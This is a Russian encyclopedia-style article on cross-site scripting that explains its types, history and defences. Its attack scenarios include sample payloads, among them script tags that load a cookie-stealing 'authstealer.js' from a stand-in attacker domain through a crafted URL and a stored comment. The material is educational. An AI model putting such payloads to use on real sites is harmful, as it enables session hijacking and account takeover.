Межсайтовый скриптинг

Межсайтовый скриптинг (англ. Cross-Site Scripting, XSS) — это разновидность уязвимостей компьютерной безопасности, встречающаяся преимущественно в веб-приложениях и часто сопровождающаяся HTML-инъекцией, а также присутствующая в некоторых приложениях, использующих JavaScript. XSS позволяет внедрять клиентский JavaScript-код в отображаемые другим пользователям веб-страницы. Этот тип уязвимости может быть использован злоумышленниками для обхода таких механизмов контроля, как политика одинакового источника, а также для перехвата сеанса пользователя. Согласно данным Symantec, по состоянию на 2007 год атаки с помощью межсайтового скриптинга составляли около 84 % всех зарегистрированных уязвимостей в области безопасности[1]. Масштаб последствий зависит от чувствительности обрабатываемых данным сайтом данных и от реализованных механизмов защиты.

История

Информационная безопасность веба основывается на ряде механизмов, таких как политика одинакового источника. Политика одинакового источника в упрощённом виде означает, что если сайту разрешён доступ к некоторым ресурсам, то это разрешение распространяется на весь контент этого сайта, но сторонний сайт должен проходить отдельную авторизацию для получения доступа[2].

Межсайтовый скриптинг основывается на эксплуатации известных уязвимостей в веб-приложениях, их серверах или зависимых от них плагинах. Используя одну из этих уязвимостей, атакующий внедряет вредоносный код в контент сайта, и когда такой составной контент загружается в браузере пользователя, он выполняется с теми же правами, что и остальной безопасный код с этого сайта. Получив возможность внедрять скрипты, злоумышленник приобретает расширенный доступ к конфиденциальным данным на странице, сессионным куки и другой информации, управляемой браузером. Межсайтовый скриптинг относится к разновидностям кодовых инъекций.

Термин «межсайтовый скриптинг» предложен инженерами по кибербезопасности компании Microsoft в январе 2000 года[3]. Первоначальное понимание XSS касалось возможности запуска вредоносных JavaScript-кодов в целях компрометации другой доверенной области с помощью захваченных приложений, но впоследствии термин расширился и на другие технологии клиентских скриптов — такие как ActiveX, Java, VBScript, Flash и HTML-скрипты[4].

Уязвимости XSS эксплуатируются с 1990-х годов. Отмечены случаи их успешной эксплуатации на таких ресурсах, как MySpace, YouTube, Orkut[5][6]. С конца 2000-х XSS обогнал переполнение буфера как наиболее часто регистрируемая уязвимость[7]. В 2007 году сообщалось, что 68 % сайтов были уязвимы к XSS-атакам[8].

Виды

Стандартизованной единой классификации уязвимостей XSS не существует, однако в литературе обычно выделяют по крайней мере два основных класса — отражённые и постоянные атаки. Иногда дополнительно различают традиционные (серверные) и основанные на DOM (клиентские) уязвимости.

Отражённый (непостоянный) XSS

Отражённый (или непостоянный) XSS — основной и наиболее часто встречающийся тип уязвимостей[9]. Уязвимость возникает, если введённые пользователем параметры, как правило передаваемые через HTTP-запросы (например, поля формы), используются сервером для динамической генерации ответа без необходимой фильтрации[10].

Из-за линейной структуры HTML (объединяющей управляющие символы, разметку и пользовательские данные), любое незаэкранированное пользовательское значение в документе может привести к внедрению произвольного кода. Пример — поисковый интерфейс: если искомый текст возвращается на страницу без экранирования HTML-символов, появляется XSS-уязвимость[11].

Обычно отражённые атаки распространяются через электронную почту или созданные злоумышленником веб-страницы, где пользователь перенаправляется на вредоносную ссылку, ведущую на уязвимый сайт. Если сайт не фильтрует вредоносный код, после перехода пользователя вредоносный скрипт выполняется в его браузере.

Постоянный (сохраняемый) XSS

Постоянная (или сохраняемая) XSS-уязвимость наиболее опасна: внедрённые злоумышленником данные сохраняются на сервере и затем отображаются на обычных страницах для других пользователей. Классический пример — форумы или социальные сети, где пользовательским сообщениям разрешён HTML.

Например, на сайте знакомств злоумышленник может добавить код к своему профилю, чтобы при его просмотре сбор данных других пользователей отправлялся на сторонний сервер. Такой скрипт выполняется автоматически без какого-либо взаимодействия пользователя, что существенно повышает уровень угрозы (особенно при распространении через самораспространяющиеся черви)[12].

Серверные и DOM-основанные XSS

Первоначально XSS встречался только в приложениях, где весь ввод-вывод происходил на сервере. Позднее получили распространение приложения, логика отображения которых реализована на клиенте с помощью AJAX и JavaScript. Это привело к появлению DOM-основанных XSS-уязвимостей, при которых вредоносный код внедряется и выполняется исключительно на стороне клиента, минуя сервер[13].

Например, в 2011 году подобная уязвимость была выявлена во многих плагинах для jQuery[14]. Основные меры защиты аналогичны классическим: фильтрация и экранирование входных данных[15]. Некоторые современные фреймворки, например Angular.js[16], содержат встроенные механизмы защиты.

Self-XSS

Self-XSS — разновидность XSS, основанная на социальной инженерии: жертву убеждают вручную вставить и выполнить вредоносный JavaScript-код в своём браузере. Хотя с технической точки зрения это не классическая XSS-уязвимость, последствия могут быть теми же.

Примеры эксплуатации

Для успешной эксплуатации XSS-уязвимостей злоумышленнику необходимо использовать различные сценарии для каждого из классов уязвимости.

Фреймворк эксплуатации браузера может быть использован для атак как на веб-страницы, так и на локальную среду пользователя.

Отражённая атака

  1. Пользователь (Alice) регулярно посещает сайт, администрируемый Bob. Alice авторизуется под своим именем, и сайт хранит авторизационные куки для поддержания сессии.
  2. Злоумышленник (Mallory) обнаруживает отражённую уязвимость на сайте Bob:
    1. Он вводит строку поиска — если результат не найден, сайт выводит запрос вместе с сообщением об ошибке и помещает введённый текст в URL, например, http://bobssite.org?q=текст_запроса.
    2. Если вместо строки поиска передать код <script>, например "", сайт выведет сообщение с ошибкой, а скрипт выполнится.
  3. Mallory формирует вредоносный URL, например:
    1. http://bobssite.org?q=<script%20src="http://mallorysevilsite.com/authstealer.js"></script>
    2. Ссылку можно дополнительно закодировать (например, hex-кодами), чтобы усложнить обнаружение[17].
  4. Mallory рассылает ссылку доверчивым пользователям или размещает её в публичном доступе.
  5. Alice переходит по ссылке, внешний вид сайта не вызывает подозрений, но загрузившийся вредоносный скрипт (например, authstealer.js) выполняется от имени сайта Bob и отправляет сессионные куки на сервер Mallory.
  6. Mallory получает куки Alice, авторизуется на сайте Bob под её учётной записью, а затем получает доступ к её персональным данным, меняет пароль и т. д.
  7. Аналогичные действия могут быть проведены и против администраторов сайта.

Меры по предотвращению:

  1. Экранирование и фильтрация пользовательских данных.
  2. Корректная обработка невалидных запросов на web-сервере.
  3. Ограничения на одновременные сессии и их контроль по IP.
  4. Скрытие части чувствительных данных (например, маскирование номеров карт).
  5. Проверка пароля при изменении учётных данных.
  6. Использование политики безопасности контента.
  7. Установка куки с флагом HttpOnly.
  8. Повышение осведомлённости пользователей.

Постоянная атака

  1. Mallory регистрируется на сайте Bob.
  2. Выявляет сохраняемую XSS-уязвимость — например, в комментариях к публикациям, где HTML-теги исполняются без фильтрации.
  3. В комментарии добавляется строка вида: Обожаю этих котиков! Так мило! <script src="http://mallorysevilsite.com/authstealer.js"></script>
  4. Любой пользователь, просмотревший страницу, запускает скрипт, и его сессионные куки отправляются Mallory[17].
  5. Mallory использует полученные куки для доступа к аккаунту Alice[18].

Недостаточная фильтрация или отсутствие удаления тегов <script> — основной корень проблемы.

Меры защиты

Контекстное экранирование вывода

Главный способ защиты от XSS — экранирование пользовательского ввода в зависимости от контекста (HTML-энкодинг, JavaScript-энкодинг, CSS-энкодинг и кодирование URL) на этапе вывода данных в документ[19]. Даже базовое экранирование HTML специальными сущностями значительно снижает вероятность успешной атаки.

Однако одних только замен пяти специальных HTML-символов недостаточно: обход часто возможен с помощью менее очевидных тэгов или альтернативных техник шифрования. Поэтому для защиты рекомендуется использовать качественные специализированные библиотеки.

Валидация HTML-ввода

Во многих веб-приложениях допускается ограниченный HTML-формат пользовательского ввода (форумы, webmail и т. д.). Для безопасного отображения такого ввода необходима обязательная очистка HTML-кода через специальные фильтры-санитайзеры, которые удаляют все опасные теги и атрибуты.

Простой пример уязвимости: <img src="javascript:alert(1)">

Удаление символов кавычек или других «опасных» знаков тоже может быть неэффективно, так как вредоносный код может быть зашифрован или обфусцирован другими способами.

Защита куки

Кроме фильтрации контента, применяют дополнительные приёмы: связывают сессионные куки с IP-адресом пользователя или используют флаг HttpOnly для запрета доступа JavaScript к куки[20]. Однако такие методы не защищают в случаях NAT, прокси или мобильного доступа.

Браузеры Internet Explorer версии 6+, Mozilla Firefox 2.0.0.5+, Safari 4+, Opera 9.5+ и Google Chrome реализуют флаг HttpOnly (куки недоступны для клиентских скриптов), но и он не решает всех проблем[21].

Отключение скриптов

Хотя современные приложения часто требуют включённого JavaScript[22], некоторые сайты функционируют даже при полном отключении скриптов[23]. Пользователь может вручную отключать выполнение скриптов для отдельных сайтов или глобально.

Плагин NoScript (для Firefox и совместимых) позволяет управлять разрешениями для скриптов по доменам и реализует ряд встроенных механизмов XSS-защиты[24]. Аналогичные решения существуют для других браузеров.

Недостатки такого подхода: значительное ухудшение удобства и функциональности сайтов, низкая осведомлённость пользователей и то, что многие сайты не работают без JavaScript.

Новые технологии защиты

Современные подходы в области предотвращения XSS включают Content Security Policy, изоляцию JavaScript и автоматические шаблоны преобразования[25]. Их развитие позволяет понизить риск XSS-эксплуатации, однако полностью проблему на момент написания они не решают.

Сканеры уязвимостей

Некоторые компании предоставляют услуги автоматизированного тестирования сайтов на XSS: с помощью специальных инструментов симулируется атака, и в случае успешного взлома клиенту предоставляется отчёт с рекомендациями[26]. Однако ни один внешний сканер не гарантирует нахождение всех векторов атак; для критичных ресурсов необходимо применять также анализ исходного кода.

Родственные уязвимости

Глобальный межсайтовый скриптинг (англ. UXSS, Global XSS) эксплуатирует баги самих браузеров, а не веб-приложений. Такие атаки широко применялись, например, группой Anonymous для распространения DDoS-атак[27].

Смежными по технике считаются: межзонный скриптинг (обход зон браузера)[28], инъекции HTTP-заголовков (могут применяться для организации межсайтового скриптинга)[29], межсайтовая подделка запросов (CSRF)[30], а также скрытое перенаправление и инъекции в базе данных (например, SQL-инъекция)[31][32].

Примечания

  1. During the second half of 2007, 11,253 site-specific cross-site vulnerabilities were documented by XSSed, compared to 2,134 «traditional» vulnerabilities documented by Symantec, in “Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary)” (PDF) [англ.]. XIII. Symantec Corp. Апрель 2008: 1—3. Архивировано из оригинала (PDF) 2008-06-25. Дата обращения 2024-06-11.
  2. Same Origin Policy - Web Security. W3.org. (англ.). Дата обращения: 11 июня 2024. Архивировано 27 января 2017 года.
  3. "dross" on MSDN. Happy 10th birthday Cross-Site Scripting! (англ.) (15 декабря 2009). Дата обращения: 11 июня 2024. Архивировано 30 мая 2015 года.
  4. Grossman, Jeremiah The origins of Cross-Site Scripting (XSS) (англ.) (30 июля 2006). Дата обращения: 11 июня 2024. Архивировано 21 февраля 2017 года.
  5. Full List of Incidents (англ.). Web Application Security Consortium (17 февраля 2008). Дата обращения: 11 июня 2024. Архивировано 21 октября 2010 года.
  6. Dignan, Larry Obama site hacked; Redirected to Hillary Clinton (англ.). ZDNet (21 апреля 2008). Дата обращения: 11 июня 2024. Архивировано 27 марта 2014 года.
  7. Christey, Steve; Martin, Robert A. Vulnerability Type Distributions in CVE (version 1.1) (англ.). MITRE Corporation (22 мая 2007). Дата обращения: 11 июня 2024. Архивировано 3 октября 2016 года.
  8. Berinato, Scott. Software Vulnerability Disclosure: The Chilling Effect (англ.), CSO, CXO Media (1 января 2007), С. 7. Архивировано 18 апреля 2008 года. Дата обращения: 11 июня 2024.
  9. Hope, Paco. Web Security Testing Cookbook : [англ.] / Paco Hope, Ben Walther. — Sebastopol, CA : O'Reilly Media, 2008. — P. 128. — ISBN 978-0-596-51483-9.
  10. Cross-site Scripting (англ.). Web Application Security Consortium (2005). Дата обращения: 11 июня 2024. Архивировано 1 июня 2010 года.
  11. Grossman, Jeremiah. XSS Attacks: Cross Site Scripting Exploits and Defense (Abstract) : [англ.] / Jeremiah Grossman, Robert Hansen, Seth Fogie … [et al.]. — Elsevier Science & Technology via Google Book Search, 2007. — P. 70, 156. — ISBN 1-59749-154-3.
  12. Viruses and worms in Alcorn, Wade The Cross-site Scripting Virus (англ.). BindShell.net (27 сентября 2005). Дата обращения: 11 июня 2024. Архивировано 23 августа 2014 года.
  13. DOM based XSS (англ.). OWASP. Дата обращения: 11 июня 2024. Архивировано 28 января 2017 года.
  14. JQuery bug #9521 (англ.) (2011). Дата обращения: 11 июня 2024. Архивировано 30 января 2017 года.
  15. DOM based XSS prevention cheat sheet (англ.). OWASP. Дата обращения: 11 июня 2024. Архивировано 28 января 2017 года.
  16. Strict Contextual Escaping (англ.). Angular.js. Дата обращения: 11 июня 2024. Архивировано 10 февраля 2014 года.
  17. 1 2 Примеры XSS-атак (англ.). Дата обращения: 11 июня 2024. Архивировано 14 февраля 2018 года.
  18. Brodkin, Jon. The top 10 reasons Web sites get hacked (англ.), Network World, IDG (4 октября 2007). Архивировано 14 февраля 2017 года. Дата обращения: 11 июня 2024.
  19. Williams, Jeff XSS (Cross Site Scripting) Prevention Cheat Sheet (англ.). OWASP (19 января 2009). Дата обращения: 11 июня 2024. Архивировано 18 марта 2017 года.
  20. Sharma, Anand Prevent a cross-site scripting attack (англ.). IBM (3 февраля 2004). Дата обращения: 11 июня 2024. Архивировано 24 сентября 2015 года.
  21. Ajax and Mashup Security (англ.). OpenAjax Alliance. Дата обращения: 11 июня 2024. Архивировано 27 сентября 2016 года.
  22. O'Reilly, Tim What Is Web 2.0 (англ.) 4—5. O'Reilly Media (30 сентября 2005). Дата обращения: 11 июня 2024. Архивировано 16 октября 2014 года.
  23. «A page should work, even if in a degraded form, without JavaScript.» in Zammetti, Frank. Practical JavaScript, DOM Scripting and Ajax Projects via Amazon Reader : [англ.]. — Apress, 16 апреля 2007. — P. 36. — ISBN 1-59059-816-4.
  24. NoScript (англ.). Mozilla (30 мая 2008). Дата обращения: 11 июня 2024. Архивировано 21 апреля 2017 года.
  25. Content Security Policy 1.0 (англ.). W3C Candidate Recommendation (15 ноября 2012). Дата обращения: 11 июня 2024. Архивировано 26 февраля 2017 года.
  26. Sceptic blog (англ.). Дата обращения: 11 июня 2024. Архивировано 12 августа 2011 года.
  27. Di Paola, Stefano Adobe Acrobat Reader Plugin - Multiple Vulnerabilities (англ.). Wisec.it (3 января 2007). Дата обращения: 11 июня 2024. Архивировано 10 ноября 2016 года.
  28. Security hole in Internet Explorer allows attackers to execute arbitrary programs (англ.), Heise Media UK (16 мая 2008). Архивировано 20 ноября 2011 года. Дата обращения: 11 июня 2024.
  29. Update available for potential HTTP header injection vulnerabilities in Adobe Flash Player (англ.). Adobe Systems (14 ноября 2006). Дата обращения: 11 июня 2024. Архивировано 29 января 2017 года.
  30. Auger, Robert The Cross-Site Request Forgery (CSRF/XSRF) FAQ (version 1.59) (англ.). Cgisecurity.com (17 апреля 2008). Дата обращения: 11 июня 2024. Архивировано 9 октября 2016 года.
  31. SQL Injection (англ.). Web Application Security Consortium (2005). Дата обращения: 11 июня 2024. Архивировано 25 сентября 2010 года.
  32. The Cross-Site Scripting FAQ (англ.). Cgisecurity.com (2002). Дата обращения: 11 июня 2024. Архивировано 21 сентября 2016 года.

Литература

Ссылки

Категории